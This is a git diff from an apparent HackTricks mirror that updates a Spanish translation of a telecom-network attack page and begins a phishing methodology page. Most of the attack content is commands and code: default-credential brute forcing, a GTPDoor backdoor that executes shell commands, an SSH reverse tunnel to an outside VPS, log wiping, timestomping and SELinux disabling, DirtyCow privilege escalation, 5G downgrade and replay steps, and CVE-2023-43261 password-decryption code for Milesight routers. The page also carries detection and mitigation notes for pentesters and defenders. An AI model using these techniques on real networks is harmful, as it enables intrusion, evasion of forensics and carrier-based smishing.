mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/phishing-method
This commit is contained in:
parent
e8070e84d5
commit
d1f02b9691
@ -3,25 +3,25 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
|
> Los protocolos del core móvil (GPRS Tunnelling Protocol – GTP) a menudo atraviesan dorsales de roaming GRX/IPX semi-confiables. Debido a que viajan sobre UDP sin casi ninguna autenticación, **cualquier punto de apoyo dentro del perímetro de un operador puede normalmente alcanzar directamente los planos de señalización del core**. Las siguientes notas recopilan trucos ofensivos observados en la naturaleza contra SGSN/GGSN, PGW/SGW and other EPC nodes.
|
||||||
|
|
||||||
## 1. Recon & Initial Access
|
## 1. Recon & Initial Access
|
||||||
|
|
||||||
### 1.1 Cuentas OSS / NE por defecto
|
### 1.1 Default OSS / NE Accounts
|
||||||
Un conjunto sorprendentemente grande de elementos de red de fabricantes se entrega con usuarios SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicada aumenta dramáticamente el éxito del brute-force:
|
Un número sorprendentemente grande de elementos de red de proveedores incluyen usuarios SSH/Telnet codificados como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicada incrementa drásticamente el éxito del brute-force:
|
||||||
```bash
|
```bash
|
||||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||||
```
|
```
|
||||||
Si el dispositivo expone solo una management VRF, realiza un pivot a través de un jump host primero (ver sección «SGSN Emu Tunnel» más abajo).
|
Si el dispositivo expone solo un VRF de gestión, realiza primero un pivot a través de un jump host (ver sección «SGSN Emu Tunnel» más abajo).
|
||||||
|
|
||||||
### 1.2 Descubrimiento de hosts dentro de GRX/IPX
|
### 1.2 Detección de hosts dentro de GRX/IPX
|
||||||
La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP integradas `gtpv1` para mapear rápidamente los listeners GTP-C:
|
La mayoría de los operadores GRX todavía permiten **ICMP echo** a través del backbone. Combina `masscan` con las sondas UDP `gtpv1` integradas para mapear rápidamente los listeners GTP-C:
|
||||||
```bash
|
```bash
|
||||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||||
```
|
```
|
||||||
## 2. Enumeración de suscriptores – `cordscan`
|
## 2. Enumeración de suscriptores – `cordscan`
|
||||||
|
|
||||||
La siguiente herramienta en Go crea paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** que actualmente sirve el IMSI consultado y, a veces, el PLMN visitado del suscriptor.
|
La siguiente herramienta en Go crea paquetes **GTP-C Create PDP Context Request** y registra las respuestas. Cada respuesta revela el **SGSN / MME** actual que está sirviendo al IMSI consultado y, a veces, el PLMN visitado por el suscriptor.
|
||||||
```bash
|
```bash
|
||||||
# Build
|
# Build
|
||||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||||
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
|||||||
# Usage (typical):
|
# Usage (typical):
|
||||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||||
```
|
```
|
||||||
Opciones clave:
|
Flags clave:
|
||||||
- `--imsi` IMSI del abonado objetivo
|
- `--imsi` IMSI del abonado objetivo
|
||||||
- `--oper` Home / HNI (MCC+MNC)
|
- `--oper` Operador / HNI (MCC+MNC)
|
||||||
- `-w` Escribir paquetes raw en pcap
|
- `-w` Escribe paquetes sin procesar a pcap
|
||||||
|
|
||||||
Las constantes importantes dentro del binario se pueden parchear para ampliar los escaneos:
|
Constantes importantes dentro del binario pueden parchearse para ampliar los escaneos:
|
||||||
```
|
```
|
||||||
pingtimeout = 3 // seconds before giving up
|
pingtimeout = 3 // seconds before giving up
|
||||||
pco = 0x218080
|
pco = 0x218080
|
||||||
common_tcp_ports = "22,23,80,443,8080"
|
common_tcp_ports = "22,23,80,443,8080"
|
||||||
```
|
```
|
||||||
## 3. Code Execution over GTP – `GTPDoor`
|
## 3. Ejecución de código sobre GTP – `GTPDoor`
|
||||||
|
|
||||||
`GTPDoor` es un pequeño servicio ELF que **se liga a UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la payload comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltran dentro de mensajes **Echo Response** para que nunca se cree una sesión saliente.
|
`GTPDoor` es un pequeño servicio ELF que **escucha en UDP 2123 y analiza cada paquete GTP-C entrante**. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía `/bin/sh -c`. El stdout/stderr se exfiltran dentro de mensajes **Echo Response** de modo que nunca se crea una sesión saliente.
|
||||||
|
|
||||||
Paquete PoC mínimo (Python):
|
Paquete PoC mínimo (Python):
|
||||||
```python
|
```python
|
||||||
@ -54,22 +54,22 @@ print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
|||||||
```
|
```
|
||||||
Detección:
|
Detección:
|
||||||
* cualquier host que envíe **unbalanced Echo Requests** a las IPs de SGSN
|
* cualquier host que envíe **unbalanced Echo Requests** a las IPs de SGSN
|
||||||
* el flag de versión de GTP establecido en 1 mientras message type = 1 (Echo) – desviación respecto a la especificación
|
* bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) – desviación respecto a la especificación
|
||||||
|
|
||||||
## 4. Pivoting a través del Core
|
## 4. Pivoting a través del núcleo
|
||||||
|
|
||||||
### 4.1 `sgsnemu` + SOCKS5
|
### 4.1 `sgsnemu` + SOCKS5
|
||||||
`OsmoGGSN` incluye un emulador SGSN capaz de **establecer un PDP context hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el roaming peer.
|
`OsmoGGSN` incluye un emulador de SGSN capaz de **establecer un contexto PDP hacia un GGSN/PGW real**. Una vez negociado, Linux recibe una nueva interfaz `tun0` accesible desde el peer de roaming.
|
||||||
```bash
|
```bash
|
||||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||||
-APN internet -c 1 -d
|
-APN internet -c 1 -d
|
||||||
ip route add 172.16.0.0/12 dev tun0
|
ip route add 172.16.0.0/12 dev tun0
|
||||||
microsocks -p 1080 & # internal SOCKS proxy
|
microsocks -p 1080 & # internal SOCKS proxy
|
||||||
```
|
```
|
||||||
Con un correcto firewall hair-pinning, este túnel evita VLANs de solo señalización y te sitúa directamente en el **data plane**.
|
Con un adecuado firewall hair-pinning, este túnel elude las VLANs solo de señalización y te sitúa directamente en el **data plane**.
|
||||||
|
|
||||||
### 4.2 SSH Reverse Tunnel over Port 53
|
### 4.2 SSH Reverse Tunnel over Port 53
|
||||||
DNS suele estar casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS escuchando en :53 y vuelve más tarde desde casa:
|
DNS está casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS que escuche en :53 y vuelve más tarde desde casa:
|
||||||
```bash
|
```bash
|
||||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||||
```
|
```
|
||||||
@ -78,14 +78,14 @@ Comprueba que `GatewayPorts yes` esté habilitado en el VPS.
|
|||||||
## 5. Canales encubiertos
|
## 5. Canales encubiertos
|
||||||
|
|
||||||
| Canal | Transporte | Decodificación | Notas |
|
| Canal | Transporte | Decodificación | Notas |
|
||||||
|-------|-----------|---------------|-------|
|
|---------|-----------|----------|-------|
|
||||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | escucha puramente pasiva, sin tráfico saliente |
|
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clave de 4 bytes + fragmentos de 14 bytes (XOR) | oyente puramente pasivo, sin tráfico saliente |
|
||||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | vigila el subdominio `*.nodep` |
|
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificado en octetos del registro A | vigila el subdominio `*.nodep` |
|
||||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privada | se mezcla con el tráfico legítimo de GTP-C |
|
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC en IE privado | se mezcla con el tráfico legítimo de GTP-C |
|
||||||
|
|
||||||
Todos los implants implementan watchdogs que **timestomp** sus binarios y re-spawn si se bloquean.
|
Todos los implants implementan watchdogs que **timestomp** sus binaries y se re-spawn si crashed.
|
||||||
|
|
||||||
## 6. Hoja de trucos de evasión de defensas
|
## 6. Hoja de referencia de evasión de defensas
|
||||||
```bash
|
```bash
|
||||||
# Remove attacker IPs from wtmp
|
# Remove attacker IPs from wtmp
|
||||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
|||||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||||
setenforce 0 # disable SELinux
|
setenforce 0 # disable SELinux
|
||||||
```
|
```
|
||||||
## 7. Escalada de privilegios en NE heredado
|
## 7. Privilege Escalation en NE heredados
|
||||||
```bash
|
```bash
|
||||||
# DirtyCow – CVE-2016-5195
|
# DirtyCow – CVE-2016-5195
|
||||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||||
@ -118,61 +118,61 @@ rm -f /tmp/sh ; history -c
|
|||||||
```
|
```
|
||||||
## 8. Caja de herramientas
|
## 8. Caja de herramientas
|
||||||
|
|
||||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – herramientas personalizadas descritas en secciones anteriores.
|
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling descrito en secciones previas.
|
||||||
* `FScan` : barridos TCP en intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
* `FScan` : barridos TCP en intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||||
* `Microsocks` + `ProxyChains` : pivot ligero SOCKS5
|
* `Microsocks` + `ProxyChains` : pivot ligero SOCKS5
|
||||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||||
|
|
||||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
## 9. Ataques de registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||||
|
|
||||||
El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (p. ej., on-path dentro del core, rogue gNB, o en un testbed).
|
El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular tráfico N2 (por ejemplo, on-path dentro del core, gNB rogue, o en un testbed).
|
||||||
|
|
||||||
Flujo de registro (simplificado):
|
Registration flow (simplified):
|
||||||
- Registration Request: UE envía SUCI (SUPI encrypted with the home-network public key) y capabilities.
|
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||||
- Authentication: AMF/AUSF envían RAND/AUTN; UE responde con RES*.
|
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
|
||||||
- Security Mode Command/Complete: se negocian y activan la integridad y el cifrado NAS.
|
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
|
||||||
- PDU Session Establishment: configuración IP/QoS.
|
- PDU Session Establishment: IP/QoS setup.
|
||||||
|
|
||||||
Consejos para laboratorio (no-RF):
|
Consejos de configuración de laboratorio (no-RF):
|
||||||
- Core: el despliegue por defecto de Open5GS es suficiente para reproducir los flujos.
|
- Core: Open5GS con despliegue por defecto es suficiente para reproducir los flujos.
|
||||||
- UE: simulador o UE de prueba; decodificar con Wireshark.
|
- UE: simulador o UE de prueba; decodificar con Wireshark.
|
||||||
- Herramientas activas: 5GReplay (captura/modifica/repite NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS en vuelo sin levantar un rogue gNB completo).
|
- Herramientas activas: 5GReplay (capture/modify/replay NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS al vuelo sin levantar un gNB rogue completo).
|
||||||
- Filtros útiles en Wireshark:
|
- Filtros de visualización útiles en Wireshark:
|
||||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||||
|
|
||||||
### 9.1 Privacidad de identificadores: fallos de SUCI que exponen SUPI/IMSI
|
### 9.1 Privacidad de identificadores: fallos de SUCI que exponen SUPI/IMSI
|
||||||
Esperado: UE/USIM debe transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar un SUPI/IMSI en texto claro en el Registration Request indica un defecto de privacidad que permite seguimiento persistente del suscriptor.
|
Esperado: UE/USIM debe transmitir SUCI (SUPI cifrado con la clave pública del home-network). Encontrar un SUPI/IMSI en texto claro en el Registration Request indica un defecto de privacidad que permite tracking persistente del abonado.
|
||||||
|
|
||||||
Cómo probar:
|
Cómo probar:
|
||||||
- Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE.
|
- Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE.
|
||||||
- Chequeos rápidos en Wireshark:
|
- Comprobaciones rápidas en Wireshark:
|
||||||
- Debe decodificarse como SUCI, no como IMSI.
|
- Debe decodificarse como SUCI, no como IMSI.
|
||||||
- Ejemplos de filtros: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` debería existir; la ausencia junto con la presencia de `imsi` indica exposición.
|
- Ejemplos de filtros: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` debería existir; la ausencia junto con la presencia de `imsi` indica exposición.
|
||||||
|
|
||||||
Qué recoger:
|
Qué recopilar:
|
||||||
- MCC/MNC/MSIN si están expuestos; registrar por UE y rastrear a lo largo del tiempo/ubicaciones.
|
- MCC/MNC/MSIN si están expuestos; registrar por-UE y rastrear a lo largo del tiempo/ubicaciones.
|
||||||
|
|
||||||
Mitigación:
|
Mitigación:
|
||||||
- Forzar UEs/USIMs que usen solo SUCI; alertar ante cualquier IMSI/SUPI en el NAS inicial.
|
- Forzar UEs/USIMs que usen solo SUCI; alertar ante cualquier IMSI/SUPI en NAS inicial.
|
||||||
|
|
||||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
### 9.2 Bidding-down de capacidades a algoritmos nulos (EEA0/EIA0)
|
||||||
Contexto:
|
Contexto:
|
||||||
- El UE anuncia los EEA (encryption) y EIA (integrity) soportados en el IE UE Security Capability del Registration Request.
|
- El UE anuncia EEA (cifrado) y EIA (integridad) soportados en el UE Security Capability IE del Registration Request.
|
||||||
- Mapeos comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos.
|
- Mapas comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos.
|
||||||
|
|
||||||
Problema:
|
Problema:
|
||||||
- Debido a que el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capability para forzar la selección de EEA0/EIA0 más tarde durante Security Mode Command. Algunas stacks permiten erróneamente algoritmos nulos fuera de servicios de emergencia.
|
- Dado que el Registration Request no tiene protección de integridad, un atacante on-path puede limpiar bits de capacidad para forzar la selección de EEA0/EIA0 más tarde durante Security Mode Command. Algunos stacks permiten incorrectamente algoritmos nulos fuera de servicios de emergencia.
|
||||||
|
|
||||||
Pasos ofensivos:
|
Pasos ofensivos:
|
||||||
- Interceptar InitialUEMessage y modificar el NAS UE Security Capability para anunciar solo EEA0/EIA0.
|
- Interceptar InitialUEMessage y modificar el NAS UE Security Capability para anunciar solo EEA0/EIA0.
|
||||||
- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capability antes de reenviar.
|
- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capacidad antes de reenviarlo.
|
||||||
- Observar si el AMF acepta cifrados/integridad nulos y completa Security Mode con EEA0/EIA0.
|
- Observar si el AMF acepta cifrados/integridad nulos y completa Security Mode con EEA0/EIA0.
|
||||||
|
|
||||||
Verificación/visibilidad:
|
Verificación/visibilidad:
|
||||||
- En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete.
|
- En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete.
|
||||||
- Ejemplo de salida pasiva de sniffer:
|
- Ejemplo de salida de un sniffer pasivo:
|
||||||
```
|
```
|
||||||
Encyrption in use [EEA0]
|
Encyrption in use [EEA0]
|
||||||
Integrity in use [EIA0, EIA1, EIA2]
|
Integrity in use [EIA0, EIA1, EIA2]
|
||||||
@ -180,12 +180,12 @@ SUPI (MCC+MNC+MSIN) 9997000000001
|
|||||||
```
|
```
|
||||||
Mitigaciones (obligatorias):
|
Mitigaciones (obligatorias):
|
||||||
- Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde esté estrictamente mandatado (p. ej., llamadas de emergencia).
|
- Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde esté estrictamente mandatado (p. ej., llamadas de emergencia).
|
||||||
- Preferir aplicar EEA2/EIA2 como mínimo; registrar y alertar ante cualquier NAS security context que negocie algoritmos null.
|
- Preferir aplicar EEA2/EIA2 como mínimo; registrar y generar alarmas ante cualquier contexto de seguridad NAS que negocie algoritmos null.
|
||||||
|
|
||||||
### 9.3 Replay de la initial Registration Request (pre-security NAS)
|
### 9.3 Replay de initial Registration Request (pre-security NAS)
|
||||||
Debido a que el NAS inicial carece de integridad y frescura, el InitialUEMessage+Registration Request capturado puede ser replayed al AMF.
|
Debido a que initial NAS carece de integridad y freshness, un InitialUEMessage+Registration Request capturado puede ser replayed al AMF.
|
||||||
|
|
||||||
Regla PoC para 5GReplay para reenviar replays coincidentes:
|
PoC rule para 5GReplay para reenviar replays coincidentes:
|
||||||
```xml
|
```xml
|
||||||
<beginning>
|
<beginning>
|
||||||
<property value="THEN"
|
<property value="THEN"
|
||||||
@ -227,15 +227,74 @@ Mitigations:
|
|||||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||||
|
|
||||||
---
|
---
|
||||||
## Detection Ideas
|
|
||||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
|
||||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
|
||||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
|
||||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
|
||||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
|
||||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
|
||||||
|
|
||||||
## References
|
## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
|
||||||
|
|
||||||
|
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at `/cgi`. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
|
||||||
|
|
||||||
|
Typical unauthenticated requests (same structure for inbox/outbox):
|
||||||
|
```http
|
||||||
|
POST /cgi HTTP/1.1
|
||||||
|
Host: <router>
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
|
||||||
|
```
|
||||||
|
|
||||||
|
```json
|
||||||
|
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
|
||||||
|
```
|
||||||
|
Las respuestas incluyen campos como `timestamp`, `content`, `phone_number` (E.164) y `status` (`success` o `failed`). Los envíos `failed` repetidos al mismo número suelen ser “capability checks” del atacante para validar que un router/SIM puede entregar antes de un envío masivo.
|
||||||
|
|
||||||
|
Ejemplo de curl para exfiltrar metadatos de SMS:
|
||||||
|
```bash
|
||||||
|
curl -sk -X POST http://<router>/cgi \
|
||||||
|
-H 'Content-Type: application/json' \
|
||||||
|
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
|
||||||
|
```
|
||||||
|
Notas sobre auth artifacts:
|
||||||
|
- Parte del tráfico puede incluir una auth cookie, pero una gran fracción de dispositivos expuestos responde sin ninguna autenticación a `query_inbox`/`query_outbox` cuando la interfaz de gestión está expuesta a Internet.
|
||||||
|
- En entornos que requieren auth, credenciales previamente-leaked (ver abajo) restauran el acceso.
|
||||||
|
|
||||||
|
Credential recovery path – CVE-2023-43261:
|
||||||
|
- Familias afectadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
|
||||||
|
- Problema: los logs servidos por web (p. ej., `httpd.log`) son accesibles sin autenticación bajo `/lang/log/` y contienen eventos de admin login con la contraseña cifrada usando una hardcoded AES key/IV presente en JavaScript del lado del cliente.
|
||||||
|
- Acceso práctico y decrypt:
|
||||||
|
```bash
|
||||||
|
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
|
||||||
|
# Look for entries like: {"username":"admin","password":"<base64>"}
|
||||||
|
```
|
||||||
|
Python mínimo para descifrar leaked passwords (AES-128-CBC, hardcoded key/IV):
|
||||||
|
```python
|
||||||
|
import base64
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
from Crypto.Util.Padding import unpad
|
||||||
|
KEY=b'1111111111111111'; IV=b'2222222222222222'
|
||||||
|
enc_b64='...' # value from httpd.log
|
||||||
|
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
|
||||||
|
```
|
||||||
|
Ideas de hunting y detección (red):
|
||||||
|
- Alerta sobre `POST /cgi` no autenticados cuyo cuerpo JSON contiene `base`/`function` establecido en `query_inbox` o `query_outbox`.
|
||||||
|
- Rastrear ráfagas repetidas de `POST /cgi` seguidas por entradas `status":"failed"` a través de muchos números únicos desde la misma IP de origen (pruebas de capacidad).
|
||||||
|
- Inventariar routers Milesight expuestos a Internet; restringir la gestión a VPN; deshabilitar funciones SMS salvo que sean necesarias; actualizar a ≥ v35.3.0.7; rotar credenciales y revisar los registros SMS por envíos desconocidos.
|
||||||
|
|
||||||
|
Shodan/OSINT pivots (ejemplos vistos en la naturaleza):
|
||||||
|
- `http.html:"rt_title"` coincide con paneles de router Milesight.
|
||||||
|
- Google dorking para registros expuestos: `"/lang/log/system" ext:log`.
|
||||||
|
|
||||||
|
Impacto operacional: usar SIMs de operadora legítimas dentro de routers proporciona muy alta entregabilidad/credibilidad de SMS para phishing, mientras que la exposición de inbox/outbox leaks metadata sensible a escala.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ideas de detección
|
||||||
|
1. **Cualquier dispositivo distinto de un SGSN/GGSN que establezca Create PDP Context Requests**.
|
||||||
|
2. **Puertos no estándar (53, 80, 443) recibiendo SSH handshakes** desde IPs internas.
|
||||||
|
3. **Solicitudes Echo frecuentes sin correspondientes Echo Responses** – podrían indicar balizas GTPDoor.
|
||||||
|
4. **Alta tasa de tráfico ICMP echo-reply con campos identifier/sequence grandes y distintos de cero**.
|
||||||
|
5. 5G: **InitialUEMessage que transporta NAS Registration Requests repetidos desde endpoints idénticos** (señal de replay).
|
||||||
|
6. 5G: **NAS Security Mode negociando EEA0/EIA0** fuera de contextos de emergencia.
|
||||||
|
|
||||||
|
## Referencias
|
||||||
|
|
||||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||||
@ -243,5 +302,8 @@ Mitigations:
|
|||||||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||||||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||||||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||||||
|
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
|
||||||
|
- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
|
||||||
|
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,13 +1,13 @@
|
|||||||
# Phishing Methodology
|
# Metodología de Phishing
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Metodología
|
## Metodología
|
||||||
|
|
||||||
1. Recon de la víctima
|
1. Recon a la víctima
|
||||||
1. Selecciona el **dominio de la víctima**.
|
1. Select the **victim domain**.
|
||||||
2. Realiza una enumeración web básica **buscando portales de inicio de sesión** usados por la víctima y **decide** cuál vas a **suplantar**.
|
2. Realiza una enumeración web básica **buscando portales de acceso** usados por la víctima y **decide** cuál vas a **suplantar**.
|
||||||
3. Usa **OSINT** para **encontrar correos electrónicos**.
|
3. Usa algo de **OSINT** para **encontrar correos electrónicos**.
|
||||||
2. Prepara el entorno
|
2. Prepara el entorno
|
||||||
1. **Compra el dominio** que vas a usar para la evaluación de phishing
|
1. **Compra el dominio** que vas a usar para la evaluación de phishing
|
||||||
2. **Configura los registros** relacionados con el servicio de correo (SPF, DMARC, DKIM, rDNS)
|
2. **Configura los registros** relacionados con el servicio de correo (SPF, DMARC, DKIM, rDNS)
|
||||||
@ -21,30 +21,30 @@
|
|||||||
|
|
||||||
### Domain Name Variation Techniques
|
### Domain Name Variation Techniques
|
||||||
|
|
||||||
- **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com).
|
- **Keyword**: El nombre de dominio **contiene** una **keyword** importante del dominio original (e.g., zelster.com-management.com).
|
||||||
- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com).
|
- **hypened subdomain**: Cambia el **punto por un guion** de un subdominio (e.g., www-zelster.com).
|
||||||
- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org)
|
- **New TLD**: Mismo dominio usando un **nuevo TLD** (e.g., zelster.org)
|
||||||
- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com).
|
- **Homoglyph**: Sustituye una letra en el nombre de dominio por **letras que se parecen** (e.g., zelfser.com).
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
homograph-attacks.md
|
homograph-attacks.md
|
||||||
